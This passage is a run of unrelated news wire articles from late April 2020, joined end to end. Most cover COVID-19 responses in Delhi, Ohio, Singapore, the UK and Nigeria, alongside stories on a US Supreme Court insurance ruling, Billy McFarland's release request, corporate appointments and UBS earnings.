government had a legal duty to pay up. This holding reflects a principle as old as the nation itself: The government should honor its obligations, Sotomayor said. Four insurance companies from Illinois, North Carolina and Maine had appealed to the high court after an appeals court had rejected their claims. The lower court said only Congress had the power to dispense tax money, and its later decision to refuse to pay the insurers claims prevailed over the wording in the earlier law. Industry experts said the claims for past losses could reach $12 billion. Dissenting alone, Justice Samuel A. Alito Jr. faulted the court for providing a massive bailout for insurance companies that took a calculated risk and lost. These companies chose to participate in an Affordable Care Act program that they thought would be profitable, he said. In 2012, Alito joined the dissent that would have struck down the Obamacare law in its entirety. Mondays ruling has nothing directly to do with the current Obamacare program. However, the justices in the fall will hear a new challenge to the law that arose when Texan Republicans sought again to have it struck down. The Delhi High Court Bar Association (DHCBA) has suggested commencement of regular and normal court working in a phased manner with compliance of social distancing norms and wearing of masks after withdrawal of Corona-19 lockdown. The association gave its suggestions to a committee, constituted by the Delhi High Court, for creating a 'graded action plan' to meet the challenges to be faced by it and the trial courts here in the process of marching towards normal functioning after withdrawal of lockdown. The high court had asked the district judges here to take inputs from the respective bar associations and send the suggestions to the committee headed by senior high court judge, Justice Hima Kohli. DHCBA, in the letter to the committee, said the courts have to be operational not only to the extent of providing 'urgent relief' but also to cater to other legal remedies which may be availed by common litigants. It said the scope of matters that may be listed should include injunctive reliefs, bail applications, suspension of sentence, objections to arbitration awards, execution petitions, writ petitions of all types and criminal appeals. Access to justice is the touchstone of any democratic society, the courts are an essential part of it and do not require any declaration by the Executive to be an essential service. DHCBA believes that physical court hearings, in a phased manner, have to be commenced with meticulous and scrupulous compliance of social distancing norms, wearing of masks, maintaining the highest standards of sanitisation and hygiene etc, it said. It said till normalcy is restored, litigants and interns should not be permitted to access court or chamber blocks and restriction may continue on advocates representing a party. DHCBA said the lawyers who operate from their chambers and offices need access to chambers to prepare their cases and access their files and clients' conference may be permitted after court hours. It suggested that the shops inside the court complexes may be kept closed and and only cafeterias catering to chamber blocks may be permitted to service lawyers by offering 'take away' options. The Association suggested only one entry point per court building with thermal screening and sanitisation tunnels and public conveniences must be maintained with highest level of sanitisation, keeping in mind the social distancing norms. As District Legal Services Authority and mediation centres require physical presence of litigants, they may not be functional till normalcy is restored and arbitration proceedings can go on without presence of litigants, it said. The high court, in its April 21 letter addressed to all the district and sessions judges and principal judges (family court) said post-withdrawal of lockdown, there would be an imminent requirement to put in place a 'phased / graded restoration to normalcy plan' for courts in Delhi for which various issues are required to be addressed. Following the lockdown, the functioning of the high court and trial courts have been suspended till May 3 and matters of extreme urgency or urgent nature are being heard through video conferencing. The high court's letter said it may not be practicable to open the courts for everyone immediately after the lockdown is lifted and there are over eight lakh cases pending in the district courts here and around 80,000 in the high court. As the number of cases are huge, the footfall in the courts would be enormous, once the lockdown is lifted and also because of suspended functioning of the courts, most of the matters could not be filed by many advocates and litigants. Therefore, the moment courts are thrown open, it would be difficult to control the rush for the purposes of ensuring all important and crucial aspects related to social-distancing. Obviously, the courts cannot be converted into hotspots, it said. During such suspension of functioning, the hearing of the cases is limited to matters of extremely urgent nature or urgent nature. There has been negligible filing of fresh cases during the lockdown, it can be thus expected that there would be a deluge of fresh cases on return to normalcy which may be quite difficult to handle. All these problems pose a big challenge to the justice delivery system, the letter stated. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Stranded sardine ship requests rescue from Mexican Navy Ensenada, Baja California The Secretary of the Navy of Mexico reports the rescue of 10 crew from a sardine ship in Ensenada. Elements from the Ensenada-based Second Naval Region in Baja California provided support for the search and rescue of the ships crew due to the inclement weather. The navy says crew from the vessel Mariale became stranded in the vicinity of La Concha, approximately 52 kilometers south of Ensenada, Baja California. Mariale crew had attempted to utilize their lifeboat to get to shore, however, only eight members evacuated. Before they reached shore, one crew member lost his life. Navy personnel responded to their distress call that alerted the general control center to the stranding of a ship due to a fog bank that severely restricted visibility. #Enterate como Autoridad Maritima Nacional, en funciones de Guardia Costera, personal naval auxilia a tripulantes de buque pesquero que quedo varado en inmediaciones del rancho La Concha en Ensenada, Baja California. Conoce mas de este tema en: https://t.co/gw159u4sve pic.twitter.com/ZwGWqyHZQW SEMAR Mexico (@SEMAR_mx) April 26, 2020 A navy helicopter and vessel were immediately deployed, locating the ship. Due to high waves and thick fog, rescue crew were unable to use boats to reach the ship. Instead, they swam to the vessel, pulling the remaining two crew off the ship and returning them to the mainland. On Tuesday, the governor said that after getting pushback, he had downgraded the mask rule for store customers to a recommendation, not a mandate. Some enterprises that are not on the list to reopen: hair salons and restaurants. People want to get a haircut, people want to go back to restaurants, the governor said. All those things were anxious to do as well, but weve got to see how were going with these numbers. Weve got to watch it for a few weeks. New cases of the virus in Ohio have declined for a week, according to a New York Times database. The state, which has 137 cases per 100,000 residents, ranks 26th among U.S. states. At the same time, Ohio was testing 22 people a day out of 100,000 as of April 15, fewer than many other states. Mr. DeWine has pledged that testing for the virus will ramp up sharply, to 20,000 per day by late May from about 7,000 per day now. With the Democratic presidential race effectively over, the most watched races of Ohios rescheduled primary are two Democratic congressional contests: one near Cincinnati for a Republican-held seat that Democrats see as a pickup opportunity, and one in Columbus, where Representative Joyce Beatty faces a challenge from her left by Morgan Harper, who is backed by national progressive groups. Before Mr. DeWine made his reopening announcement, more than 30 Republicans in the State Legislature called for an immediate end to the shuttering of all businesses, stating, We believe it is time to trust Ohioans. Larry Householder, the Republican speaker of the House, said his caucus felt disrespected by the governor. He criticized Mr. DeWine for not letting small retailers open before May 12, while national chains have been designated essential and are open. There is a tremendous amount of frustration from the majority members in the Ohio House, Mr. Householder said in a statement. SINGAPORE The Singapore government is greatly expanding the number of bed spaces at care facilities for COVID-19 patients in various conditions. Given the different needs of our patients, we have set up a range of facilities to match their medical needs, said Health Minister Gan Kim Yong during a multi-ministry taskforce virtual press conference on Tuesday (28 April). The majority who have mild or no symptoms, as well as those who have largely recovered from the illnesses, are cared for in community care facilities such as Singapore Expo under the care of a medical team supported by technology tools, such as vital signs monitoring, he added. As of noon on Tuesday, there are 1,451 COVID-19 patients in hospitals, of which 20 are in the intensive care unit, said the Ministry of Health (MOH) in a separate news release. Making room for patients At community care facilities (CCFs) for patients with mild symptoms and lower risk factors, the number of bed spaces will be ramped up to 20,000 up from the current 10,000 by end-June. For community recovery facilities (CRFs) where patients who remain well at Day 14 of their illness and do not require further medical care will be transferred the plan is to have more than 10,000 bed spaces ready by end-June. This is up from the current 2,000 bed spaces set up at various Singapore Armed Forces (SAF) camps. More than 3,000 additional beds are also being prepped for swab isolation facilities, which cater for patients awaiting the results of their swab tests. Currently, 4,000 bed spaces are spread out over various sites, including hotels and government chalets. On top of all this, there are an additional 2,600 beds available at dorm isolation facilities to house patients who have tested negative for the coronavirus but may have other illnesses. These patients are currently isolated for five days in order to prevent the transmission of their conditions. The taskforce did not elaborate on what diseases these patients might be suffering from. Story continues Elaborating on the governments medical strategy, Gan said a two-pronged approach would be taken towards addressing manpower needs. This includes tapping on private sector healthcare professionals, retirees and volunteers, as well as leveraging technology. He noted that some 3,000 healthcare professionals had signed up to be part of Singapores Healthcare Corps, which was launched on 7 April. Going forward, the Ministry of Health will expand its call for volunteers to include non-healthcare professionals. We are also redeploying manpower from industries affected by COVID-19 to enable them to take on new roles and hospitals, such as our collaboration with a Singapore Airlines. We have been able to mobilise and ramp up our medical facilities and support in a short time because of the whole of society approach, said Gan. Majority of patients have mild symptoms Gan noted that the majority of Singapores COVID-19 cases have had relatively mild diseases or no symptoms and they do not require extensive medical intervention. About 30 per cent require closer medical observation due to the underlying health conditions or because of old age. A very small number require ventilation support and are in the intensive care units, he said. Studies have shown that patients who remain well at day 14 of the illness are likely to remain well, added Gan. As of noon on Tuesday, Singapore has seen 14,423 confirmed cases of COVID-19 infection of which 1,095 patients have recovered and been discharged. Of the cases, 14 have died from the coronavirus. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore More Singapore stories: Tears and fears over COVID-19: More in Singapore seek help for mental health More than 21,000 in foreign worker dorms tested for COVID-19 so far: MOH COVID-19: Bill to allow virtual marriage solemnisations to be introduced in Parliament COVID-19: Robots to help with operations at new Changi Exhibition Centre isolation facility COVID-19: MOH suspends officer who leaked daily case updates, reviewing security protocol Prime Minister Mostafa Madbouly on Tuesday said that Egypt has great opportunities to establish a foothold in new markets, despite the novel coronavirus (COVID-19) crisis. Madbouly made the remarks during his participation in a symposium held under the rubric of "the new world order beyond coronavirus ... opportunities and priorities". It was attended by Planning Minister Hala el Saeed and former international cooperation minister Nagla el Ahwany, as well as a panel of politicians, economists and intellectuals. The premier added that the government has been discussing the possible scenarios to deal with the post-coronavirus era. He went on to say that the spread of the coronavirus had enormous repercussions on the national and global economies, noting that a large number of sectors in Egypt have been hit hard, notably the tourism and aviation industries. The prime minister explained that the economic group developed scenarios to address the economic fallout of the coronavirus, while taking into consideration the world mechanism for handling this crisis. He pointed out that the post-coronavirus era might see a big change in global political and economic entities, as each country will work after this plight ends on addressing the disease's impact on its citizens and scrambling to make an economic recovery. The aim behind holding this symposium with senior politicians and economists is to explore the markets and sectors that the government should focus on during the coming period, with a view to maximizing the benefit from the current conditions, Madbouly said. The government will seek with prominent politicians and economists to prepare a working paper involving a number of proposals that can be applied, while taking into account domestic economic conditions and changing global conditions, the prime minister added. On her part, the planning minister said that there are several questions about the possible scenarios after coronavirus crisis ends, and what is related to the global system, whether at the political or economic levels, as well as the sectors to which investments will be directed in the coming period. The participants in the event said the Egyptian market should acquire the largest share of foreign investments during the coming period, especially as the country succeeded in developing its basic infrastructure. They also asserted the necessity of establishing a comprehensive health system capable of facing any health crisis, besides expanding in the field of distance learning. The attendees called for exploring other sources of financing, after high-yielding sectors were greatly affected by the coronavirus, particularly the tourism one, as well as seeking to attract foreign direct investments. They called on the government to increase spending on the information technology industry, in addition to supporting Egyptian cadres in this sector, through providing all needed facilities. Search Keywords: Short link: Billy McFarland, the convicted Fyre Festival music festival fraudster, petitioned a court earlier this month for compassionate release amid the COVID-19 pandemic that is ravaging federal prisons. McFarland gained notoriety after documentaries about the botched music festival hit streaming services last year. He is currently serving a six-year sentence at FCI Elkton in Ohio, a facility has been decimated by COVID-19 with 23 inmates in the hospital, 49 staff infections and seven inmate deaths. On Tuesday, the government responded with a 64-page filing outlining why he should not be released. The government said there were minimal details about McFarlands home confinement conditions both at his parents house in New Jersey and his friends $31 million condo in New York. MORE: DOJ clarifies federal inmate release guidance after confusion plagues process Home confinement guidelines would be unenforceable because of the uncertainty at those locations, prosecutors claimed. McFarland also does not meet the health criteria for compassionate release, prosecutors said. McFarlands lawyers in a filing earlier this month said McFarland suffered from pre-existing health conditions and that he was the ideal candidate for compassionate release due to the CARES Act. They cited a lawsuit against BOP on behalf of inmates at FCI Elkton, in which a federal judge ruled that hundreds of elderly and vulnerable inmates either be released or transferred as a result of worsening conditions in the prison, the first such order from a federal judge since the start of the crisis. McFarland's lawyer also said he made an appeal to the warden on April 8 which has gone unanswered. The government responded by saying there has been no documented history of McFarlands medical condition. The defendant, unlike many others who have moved for release in recent days and weeks, is young and has no documented medical conditions that render him particularly vulnerable to COVID-19. The defendant provides no documentation of any medical conditions, nor is there reference to any serious medical conditions in his prison medical records, prosecutors said, adding that he did not report any medical conditions to the probation office before turning himself in. Story continues MORE: Man faces 20 years for attempted $750 million COVID-19 PPE scam A lawyer for McFarland has not responded to ABC News' request for comment. Prosecutors argued that McFarland has a disciplinary violation, which, according to the attorney general's memo on releasing inmates due the pandemic, counts against his release. According to court documents, McFarland had a pen with a USB recording device inside that he initially denied knowing about. "To add insult to injury, the defendant now makes the preposterous claim that his BOP disciplinary violation of bringing a recording device to jail in July 2019 was motivated by his desire to write 'a self-reflection book ... faster to make restitution to the people he hurt,'" prosecutors said. PHOTO: An image dated July 18, 2019, and documented in a report from the Federal Bureau of Prisons, shows a recording device found in Fyre Festival founder Billy McFarland's prison cell at Federal Correctional Institute Otisville in New York. (Southern District of New York) Government prosecutors also cited an interview McFarland gave to the New York Post where he said he wasnt worried about catching COVID-19. There is not a scintilla of evidence in the defendants medical records of any medical conditions, much less a serious one," prosecutors said. "The defendant committed egregious fraud offenses for years, and rightly received a six-year term of imprisonment. The defendants good health, disciplinary incident in prisonfactors strongly counsel against his release." Prosecutors rebuff Fyre Fest's Billy McFarland's request for release from prison originally appeared on abcnews.go.com An over 40-day nationwide lockdown due to the coronavirus (COVID-19) outbreak has caused sales across various sectors plunging to nil. With some relaxations expected even if the lockdown extends beyond May 3, electronic goods firms like Blaupunkt Audio are keeping fingers crossed that non-essentials' deliveries by e-commerce is now allowed. In an interaction with Moneycontrol, Sukhesh Madaan, CEO Blaupunkt Audio India said if delivery of products through e-commerce is allowed, 50 percent of the companys business will be back. Blaupunkt Audio India had Rs 100 crore in revenue in FY20. Right now, only the delivery of essential goods like grocery, food and medicines is permitted through online platforms. Blaupunkt Audio India is part of the German-headquartered appliance and audio accessories firm. Blaupunkt Audio sells personal accessories like headphones, earphones and Bluetooth ear devices as well as home audio systems like soundbars and speakers. For the company, 50 percent of sales are through online platforms, 35 percent comes through organised retail or large electronic chains like Croma and Vijay Sales while the rest of the business is through corporates sales and other distributors. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Also Read: Live updates on COVID-19 in India Madaan said that even though the lockdown began in mid-March, the year has been challenging since the beginning. 2020 has not been good for us. We had placed an order in December 2019 to get goods from China that was to come in February 2020. But COVID-19 outbreak there led to the factories struggling to fulfil orders. By March, when China was ready with the order, India had entered into a lockdown, he added. About 90 percent of audio products sold in India are imported. Of this, China contributes a large portion (50-60 percent) of the imported goods, he said. Madaan said the only silver lining amidst COVID-19 is that March/April is not the peak sales season for the company. We are at least better off. Our products are not perishable and can last longer. But products with inbuilt batteries risk leakage due to the prevalent weather conditions. There could also be a scenario where the battery gets completely discharged. But hopefully, the COVID-19 situation wouldnt last that long, he explained. Festive season accounts for 50 percent of the business. Blaupunkt Audio revenue was at Rs 100 crore in FY20 and it includes home audio and personal audio. The company management and senior executives have taken a salary cut, said Madaan without mentioning the exact quantum. Madaan himself has let go of a couple of months' salary. We are taking cost conservation measures through pay cuts at the top level because it is not fair to cut the salaries of the junior staff working with the company. We are also negotiating with warehouses to see if they can let go of the rent for a month or allow a 25 percent rent cut for the next three to four months, he added. The audio industry that is estimated to be Rs 8,000-10,000 crore in India has been seeing a 30 percent year-on-year growth due to cheap data and a boom in OTT platforms driving personal audio device sales. On the other hand, Madaan added that the rise in LED television is boosting home audio. What happens after the lockdown lifts? When it comes to COVID-19 lockdown, Madaan said even if rules are relaxed, the organised retail players will take time to get back on their feet. Maybe online deliveries will help cater to the pent up demand for device purchase. But then again, hotspots would be out of bounds, he said. From a supply perspective, he said at present China is stable since factories are holding stock and ready with the inventory. We need to get clarity about shipping. We get most of the products by air. There are very few cargo flights now and the ones flying are primarily carrying personal protective equipment. Both demand and supply-side challenges will have to be resolved, said Madaan. What can the government do? While the Reserve Bank of India (RBI) has offered a three-month moratorium for repayment of EMIs, Madaan said banks should not charge interest for this period. It is not that the EMI is being forgiven for these three months. Banks should have completely cancelled the payments for these three months, he added. On the other hand, Madaan said the government should also be open to flexibilities in payment of salaries. I understand that the government sentiment where they said we should pay all salaries. But we also have limited pockets so some innovation could be done in areas like Employee State Insurance contribution or maybe forego collecting income tax for one month. This can help businesses sustain, he said. Like all his peers, Madaan is hopeful that the COVID-19 situation subsides before the peak festive season sale period. Festive sale begins from mid-August and continues until the end of the year. Follow our full coverage of the coronavirus pandemic here Watch the documentary here. Todays Hong Kong can be the worlds tomorrow, if we do not act now.Alan Leong, Chair of Hong Kongs Civic Party. To learn about the Chinese Communist Party (CCP)s method of rule, lets look at the experience of Hong Kong, one of the worlds great cities. What has been happening in the past 23 years in Hong Kong has illustrated how the CCP can take over all the institutions and values in the free world. After the disastrous Cultural Revolution, the CCP pretended to reform itself so it could attract foreign investment. Now, it is done pretending. Its critical the world understand the regimes agenda, tactics, and how to deal with it or we risk being caught underfoot by the imminent dangers it presents. Watch more special programs here. Sign the petition to reject the Chinese Communist Party. https://www.rejectCCP.com About 71% of chief financial officers (CFOs) believe Covid-19 has the potential to significantly impact business operations and 54% feel it will take three months or more to return to business as usual, according to a survey. PwC's latest CFO Pulse Survey says that in Saudi Arabia (KSA), the number of finance leaders in this bracket now appears to be slightly higher (77%) than the global average whereas this proportion was far lower (55%) during the previous survey period. With cash flow still a key priority for organisations, in line with the responses of the previous survey, Middle East CFOs continue to consider implementing cost containment measures, and deferring or cancelling planned investments. Contrary to the global approach, the region appears to be significantly more likely to defer or cancel investment into the workforce, and more likely to expect layoffs, it said. Stephen Anderson, Middle East Markets and Strategy Leader, said: Middle East CFOs continue to respond to the impact of COVID-19, and with cost cutting measures still front of mind, it is likely we will see a reduction in workforce investment across the region. However, it is encouraging to see that finance leaders, particularly in KSA are looking to accelerate automation and invest in new ways of working. Returning to business as usual pulls further away Theres is a shift amongst Middle East CFOs, with 54% now believing it will take three months or more to return to business as usual, an increase from 44% when we asked the same question two weeks ago. In the UAE, 41% of CFOs believe recovery timelines will take three to six months, rising from 19% as previously reported two weeks prior. That said, KSA CFOs still remain optimistic. With active screening measures announced in the kingdom, a majority (54%) are hopeful to return to business as usual in three months or less. Stephen added: Weve seen that as the impacts of the pandemic take hold, recovery timelines have shifted accordingly. But given the recent announcements various governments have made across the region to ease restrictions, it will be interesting to see how sentiment changes over the coming weeks. Transitioning back to onsite work Despite the shift in timelines, CFOs are actively planning for a return to onsite working and are looking at implementing a number of protective workplace safety measures. As a region, the Middle East is less likely than the global average to reconfigure work sites to promote physical distancing, but individually, the UAE and KSA are more likely to do so. Middle East CFOs, except those in KSA, are also less likely to consider remote working as a permanent option. In line with our previous pulse survey, the appetite for accelerating digital innovation remains strong, particularly in KSA where 65% of executives are planning to accelerate automation and new ways of working. - TradeArabia News Service Apparently, the Galaxy Note 20 is going to be running on the Exynos 992, at least the international variant. Which means that Europeans will once again be stuck with an Exynos chipset, instead of a Qualcomm chipset. Which many believe is the better chipset, both in performance and battery efficiency. Many want Samsung to go ahead and ditch Exynos processors and just stick with Qualcomm in its flagship smartphones. Instead of splitting them. But that wont be happening this year with the Galaxy Note 20. Which is going to leave Europe (and a few other countries) with an Exynos-powered Galaxy Note 20 this year. Advertisement Exynos 992 is being built on a 6nm process According to Samsung, the Exynos 992 is being built on a 6nm process. Versus the Exynos 990 which is on a 7nm process. This means that the processor will be smaller (allowing for more room inside the phone for battery), and also be more battery efficient. Thats something that everyone will love. The Exynos 992 is also going to have better performance over the Exynos 990, as expected. Which should be a recipe for a great chipset, and one that should be on par with the Snapdragon 865. And since Qualcomm isnt going to be releasing a Snapdragon 865+ this year (at least according to Meizu), that is good news for Samsung. As the Galaxy Note 20 should have relatively the same experience on both models. Samsung has not yet announced the Exynos 992, so theres very little details available right now. But expect that to happen later this summer. Advertisement Exynos is seen as the inferior chipset There have been many side-by-side tests of Samsung flagships comparing the Exynos and Qualcomm models. Showing that Qualcomm is faster, more battery efficient and just better all around. Not to mention, Qualcomm also builds in a lot of stuff into its chipset. Like the ISP, making the camera even better than on an Exynos model. And with the Galaxy S20 series, Samsung outfitted the Exynos models with 8GB of RAM instead of 12GB. Which is rather unfortunate, considering Europe was essentially paying more for less RAM and a lesser processor. The reason for Samsung using both chipsets is sound though, relying on a single partner for a single part is not a good idea, but offering two very different experiences to Galaxy S20 users is not a good idea. But it doesnt look like Samsung is going to be giving up on Exynos in its flagship smartphones anytime soon. As it is still investing in R&D and producing new chipsets for these smartphones. British Prime Minister Boris Johnson attends a meeting in the cabinet room in no.10 Downing Street in London, April 27, 2020. Johnson has returned to work for the first time after being treated for coronavirus at St. Thomas' Hospital. EPA British Prime Minister Boris Johnson urged his lockdown-weary nation to be patient Monday, arguing that easing social and economic restrictions too soon would create a second deadly spike of coronavirus infections. On his first day back at work in three weeks after a bout of COVID-19 that left him dangerously ill, Johnson said Britain had reached the moment of ''maximum risk'' in its outbreak. Speaking outside his 10 Downing St. office, Johnson said the country was reaching ''the end of the first phase of this conflict'' but warned that a quick end to a lockdown due to last at least until May 7 was not in sight. ''I refuse to throw away all the effort and the sacrifice of the British people and to risk a second major outbreak and huge loss of life and the overwhelming of the (health system),'' said Johnson. The 55-year-old leader appeared thinner but better-rested than when he was last seen in public early this month. As of Monday, Britain had recorded 21,092 deaths among people hospitalized with COVID-19, the fifth country in the world to surpass 20,000 deaths. Thousands more are thought to have died in nursing homes during the pandemic. Despite the death toll, Johnson's government is under mounting pressure to set out a blueprint for easing the lockdown that has sharply curtailed business and daily life since March 23. The government is paying 80% of the salaries of almost 4 million people who have been furloughed by their employers, more than 1.5 million Britons have applied for welfare benefits in the past month, and the government's economic watchdog says the economy could shrink by 35% by June 1. In signs the country may be experiencing lockdown fatigue, the volume of road traffic has begun to creep up, and businesses including construction sites and home-supply stores have begun to reopen after introducing social distancing measures. As other European countries begin to reopen businesses and schools, Johnson said he shared Britons' impatience to get back to normality. But he said ''we simply cannot spell out now how fast or slow or even when those changes will be made.'' Johnson indicated that any loosening of the lockdown would happen in stages, as authorities ''begin gradually to refine the economic and social restrictions and one by one to fire up the engines of this vast U.K. economy.'' Johnson spent a week in St. Thomas' Hospital in London earlier this month, including three nights in intensive care. When he was discharged on April 13, he thanked medical workers at the hospital for saving his life, saying his condition ''could have gone either way.'' During his absence, Johnson's Conservative government has struggled to counter criticism over shortages of protective equipment for medical workers and a lack of testing for the virus. The government has promised to conduct 100,000 coronavirus tests a day by the end of the month _ which arrives Thursday _ but remains far off that target, conducting 37,024 tests on Sunday. The government can point to some successes. The National Health Service has been stretched but not overwhelmed by coronavirus cases, and several temporary hospitals built to take an overflow of patients have barely been used. Health Secretary Matt Hancock said that medical services put on hold during the outbreak would be re-started from Tuesday, beginning with cancer and mental health treatments. Countering claims that the government has been secretive in its handling of the crisis, Johnson promised decisions about ending the lockdown would be made ''with the maximum possible transparency'' and in consultation with businesses, regional authorities and opposition parties. (AP) BEDFORD, NS / ACCESSWIRE / April 28, 2020 / Silver Spruce Resources Inc. (TSXV:SSE)(Frankfort:S6Q1) ("Silver Spruce" or "the Company") announced today that the Board of Directors has appointed Dr. Brian Penney as its CEO effective April 22, 2020. Dr. Penney will retain his Chairman role. Dr. Penney has been serving as Chairman and interim CFO, and in his new role as CEO brings extensive business and financial acumen to the Company. Recent positions include founding CEO of TARA a Halifax based Telecoms R&D firm, Chairman and CEO of Abridean Inc. in Halifax; Chairman of Intertainment Media Inc, a TSX-V public company in Toronto; CEO and Chairman of e-djuster Inc in Ottawa. Dr. Penney has extensive experience in guiding early stage companies, both as CEO and Chairman, and holds a Ph.D. in high energy nuclear physics from Imperial College of Science & Technology, University of London and is a professional engineer. The Company is pleased to announce the hiring of Camilla Cormier as the Company's Chief Financial Officer. Ms. Cormier has over 30 years experience in accounting (CFO and Controller roles), which includes 5 years in public accounting and 14 years working with public companies. She is fluent in French and English and holds a Canadian C.P.A. license. The Company is also pleased to announce the appointment of Kevin Thieneman as a Director. Mr. Thieneman was formerly the President of Caterpillar Inc. Forest Products Division, and currently serves as Chairman for LiuGong Americas. LiuGong Machinery is one of China's largest construction and mining equipment manufacturers with sales and operations worldwide. He is a global executive with decades of experience in turnarounds of manufacturing operations and end-to-end businesses; and with extensive on-the-ground experience in China and India. He previously Chaired the U.S.-ASEAN Business Council infrastructure committee while leading delegations to Indonesia and Vietnam. Mr. Thieneman is a graduate of Duke University, Juris Doctorate, with honors. His previous experience includes working as a licensed attorney and Certified Public Accountant in the State of Illinois. Concurrently, the Board of Directors has accepted the resignation of its President, CEO and Director Ronald J. Goguen, effective immediately. Silver Spruce wishes to thank Mr. Goguen for his contributions to the Company. About Silver Spruce Resources Inc. Silver Spruce Resources Inc. is a well-positioned, Canadian junior exploration company pursuing the exploration and development of the Melchett Lake VMS project in Ontario, Canada, and the Pino de Plata epithermal silver/base metal/gold project located in the prolific Sierra Madre Occidental region of western Chihuahua State, Mexico. Silver Spruce Resources Inc. continues to investigate opportunities that Management has identified or that have been presented to the Company for consideration. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. The company seeks Safe Harbour. Contact: Silver Spruce Resources Inc. Dr. Brian Penney, Chairman and CEO Tel: 902.430.8270 info@silverspruceresources.com www.silverspruceresources.com SOURCE: Silver Spruce Resources Inc. View source version on accesswire.com:https://www.accesswire.com/587401/Silver-Spruce-Announces-Management-Changes-Appoints-New-CEO-CFO-and-Adds-a-Former-Caterpillar-Executive-as-Director UBS reported Tuesday a 40% increase in profit for the first quarter of 2020 on the year before, helped by higher trading volumes as market participants reacted to the volatility of recent months. Net profit attributable to shareholders came in at $1.6 billion in the three months to the end of March, up from $1.1 billion in the same quarter of 2019. Here are some other key metrics from the results: Operating income came in at $7.9 billion versus $7.2 billion a year ago Common equity tier 1 ratio (CET1) a metric of bank solvency was 12.8% versus 13% a year ago Return on tangible equity a metric of profitability hit 12.8%, compared with 9.8% a year ago "We saw a huge pick up in client engagement, despite the logistical challenges. We see that clients are more and more looking for advice," Sergio Ermotti, UBS's chief executive officer, told CNBC's Squawk Box Europe. Turbulence in the markets helped UBS's investment bank post the biggest jump in operating profit, across the all the business divisions, on the year before. Operating profit before tax rose to $709 million from $207 million at the end of the first quarter of 2019. Over four per cent of health workers in Delhi including 33 doctors have become affected due to coronavirus said Union health minister Dr Harsh Vardhan and added that this situation as worrying. Harsh Vardhans comments reported by a news agency were made on Tuesday when the minister held a review meeting via video conference with top officials of the state, including the lieutenant governor (LG), health minister, Municipal Corporation of Delhi (MCD) commissioners and DCPs of all districts of the national capital along with surveillance officers and heads of government hospitals. 13 paramedics, 26 nurses, 24 field workers, 33 doctors are COVID19 affected. This is worrying, Harsh Vardhan is reported to have said. A dashboard of medical care professionals and volunteers deployed across the country prepared by the health ministry as part of the containment efforts says Delhi has nearly 18,000 MBBS doctors involved in fighting coronavirus, 2530 MBBS students, 43,865 Nurses, 12,011 Dentists, 11,213 Ayush workers, 350 lab volunteers, 5809 ex-Servicemen, 10,628 NYKS volunteers, 4478 trained health professionals among other categories of manpower. The health ministry had recently written to all states asking them to take utmost care of their health care professionals while listing out measures taken for their safety. It recommended that states used Hydroxychloroquine for prophylaxis of Sars-Cov-2 infection for high risk population including all asymptomatic health care workers who were involved in the care of suspected or confirmed Covid-19 cases. It also states that nearly 5.11 lakh additional PPEs (Personal Protection Equipment) had been supplied by the Centre to the states to augment the existing stock of 2.75 lakhs of PPE available with the states. Delhi has 4039 cases of coronavirus as per the latest figures released by the ministry of health and nearly 100 containment zonesareas with positive cases that present a threat of further transmissions. Dr Harsh Vardhan said that this number should come down before adding that the existing periphery of the containment zones could be increased to fight the disease better. The HT Guide to Coronavirus COVID-19 According to experts, we need to increase the periphery of sealed areas in Delhi to fight Covid-19 better, Dr Harsh Vardhan said while talking about the containment efforts in Delhi. For Coronavirus Live Updates Coronavirus Adamawa state Governor Ahmadu Fintiri has announced in a broadcast on Tuesday, April 28 of another reported case of coronavirus. According to him, the second person is a medical doctor from Mubi, in the northern part of the state. With this, I regret to announce that we now have 2 COVID-19 Confirmed Cases in Adamawa state. What is striking about this case is the fact that it is not linked to the index case. Last week, we sent 8 samples to Abuja. 5 were direct contacts of the index case as traced; while 3 were new suspicious cases who were showing symptoms. Having an additional case in the state is truly worrisome. More disturbing is the fact that the victim is a medical doctor in one of our hospitals in Mubi, who must have had contact with many people in the course of discharging his duties lawfully, the Adamawa governor said. He said the situation called for that task of tracing those who have had contact with the doctor, expressing worry that the state may be sliding into the most dangerous phase of the pandemic, which is community transmission of the virus. Adamawas index case is a returnee from Kano. Governor Fintiri called for more caution by way of stricter adherence to safety regulations and obedience to lockdown restrictions. He assured the people that his government would continue to be its best in addressing the situation and urged them to hope for the best and not to despair. The governor has accordingly announced the mandatory use of face masks in the state. The government has decided to extend the relaxed connectivity norms for 'work from home', applicable on IT and BPO companies, till July 31 from the current April 30, amid the coronavirus pandemic. Industry body Nasscom said the decision to extend the timelines on relaxed norms for other service providers (OSPs) to facilitate 'work from home' will help IT and BPO firms plan their strategy of bringing back workforce to offices, in a gradual and phased manner. Earlier on Tuesday, IT Minister Ravi Shankar Prasad told reporters, "I have relaxed norms for working from home...it was to end on April 30, I have extended it to July 31". In March, the DoT relaxed certain norms for OSPs till April 30 to facilitate work from home (WFH) amid the coronavirus pandemic. This included exemptions in requirement of security deposit and agreement for WFH facility for OSPs (primarily IT and IT-enabled services companies). Earlier, companies were not allowed to connect office Virtual Private Network to home infrastructure, a rule that was subsequently relaxed in view of the coronavirus pandemic. "Given that work-from-home is going to be a new normal for sometime, the decision to extend timelines is a welcome move. It will help companies plan their return-to-office strategy in a phased manner. Now that the deadline is being extended to 